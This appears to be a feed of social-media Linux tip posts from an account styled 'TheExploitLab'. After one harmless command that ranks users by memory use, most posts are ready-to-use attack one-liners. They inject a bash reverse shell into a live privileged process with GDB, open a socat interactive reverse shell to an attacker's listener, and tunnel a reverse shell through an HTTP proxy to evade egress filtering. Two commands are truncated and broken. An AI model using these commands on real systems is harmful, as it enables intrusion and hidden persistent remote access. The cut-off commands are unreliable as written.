🔍 Top Memory Consumers on Your Linux System

Ever wondered which users are hogging the most RAM on your Linux machine? This one-liner breaks it down for you:

ps -eo user:20,rss | awk 'NR>1{m[$1]+=$2}END{for(u in m)printf"%s:%.2fGB\n",u,m[u]/1024/1024}'|sort -rnk2|head

What it does:
- Lists all users and their total memory usage in GB.
- Sorts them from highest to lowest.
- Shows only the top 10 memory consumers.

Why it’s useful:
✅ Quickly identify resource-heavy users.
✅ Helpful for server admins and troubleshooting.
✅ No extra tools needed—just pure Bash!

📢 Follow for more Linux tips & tricks:
🐦 Twitter
📌 Telegram
🎥 YouTube

#Linux #SysAdmin #Bash #CommandLine #TheExploitLab

🐧 Inject Reverse Shell into Live Process
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
Injects a reverse shell into a running process using GDB, allowing remote code execution and persistence.

📋 Command:

gdb -p <target_PID> -ex 'call (void)system("bash -i >& /dev/tcp/<attacker_IP>/<attacker_port> 0>&1")' -ex 'detach' -ex 'quit'

💡 Use Case: During post-exploitation, inject a reverse shell into a long-running, privileged process (e.g., a web server or database process) to maintain access or escalate privileges without leaving new files on disk.

🚩 Flags:
┃ -p <PID>: Attach GDB to a running process specified by its Process ID.
┃ -ex '<command>': Execute the specified GDB command non-interactively.
┃ call (void)system(...): Invoke the `system()` function within the target process's context to execute a shell command.
┃ detach: Detach GDB from the target process, allowing it to continue execution unaffected.
┃ quit: Exit the GDB debugger after executing commands.

┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
#Linux #CommandLine #SysAdmin #Hacking #Kali
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
🕐 03 Mar 2026 • 17:22 | @TheExploitLabX

🐧 Socat Interactive Reverse Shell
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
Establishes a fully interactive reverse shell over TCP to an attacker's listener.

📋 Command:

socat TCP:<ATTACKER_IP>:<ATTACKER_PORT> EXEC:'bash -li',pty,stderr,setsid,sigint,sane

💡 Use Case: Gaining an interactive TTY shell on a compromised Linux machine from an attacker's listener (e.g., `socat -d -d TCP-LISTEN:<ATTACKER_PORT> PTY,raw,echo=0,stderr`).

🚩 Flags:
┃ TCP:<IP>:<PORT>: Specifies the TCP connection target (attacker's IP and port).
┃ EXEC:'bash -li': Executes `/bin/bash` in login interactive mode for the shell.
┃ pty: Allocates a pseudo-terminal for a fully interactive shell experience.
┃ stderr: Redirects standard error to the network connection.
┃ setsid: Creates a new session ID, detaching the process from the parent.
┃ sigint: Forwards Ctrl+C (SIGINT) signals to the spawned shell.
┃ sane: Resets terminal settings to a standard, functional state.

┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
#Linux #CommandLine #SysAdmin #Hacking #Kali
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
🕐 03 Mar 2026 • 17:29 | @TheExploitLabX

🐧 Web Root Sensitive Data Scan
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
Recursively searches a web root for common sensitive data patterns within various file types.

📋 Command:

find /var/www/html -type f \( -name "*.php" -o -name "*.js" -o -name "*.txt" -o -name "*.conf

┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
#Linux #CommandLine #SysAdmin #Hacking #Kali
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
🕐 03 Mar 2026 • 17:31 | @TheExploitLabX

🐧 Proxy Reverse Shell Magic
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
Establishes an interactive reverse shell through an HTTP proxy to bypass network egress filtering.

📋 Command:

socat TCP:proxy.example.com:8080 PROXY:attacker_ip:4444,proxytype=http EXEC:'/bin/bash -li

💡 Use Case:

┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
#Linux #CommandLine #SysAdmin #Hacking #Kali
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
🕐 03 Mar 2026 • 18:49 | @TheExploitLabX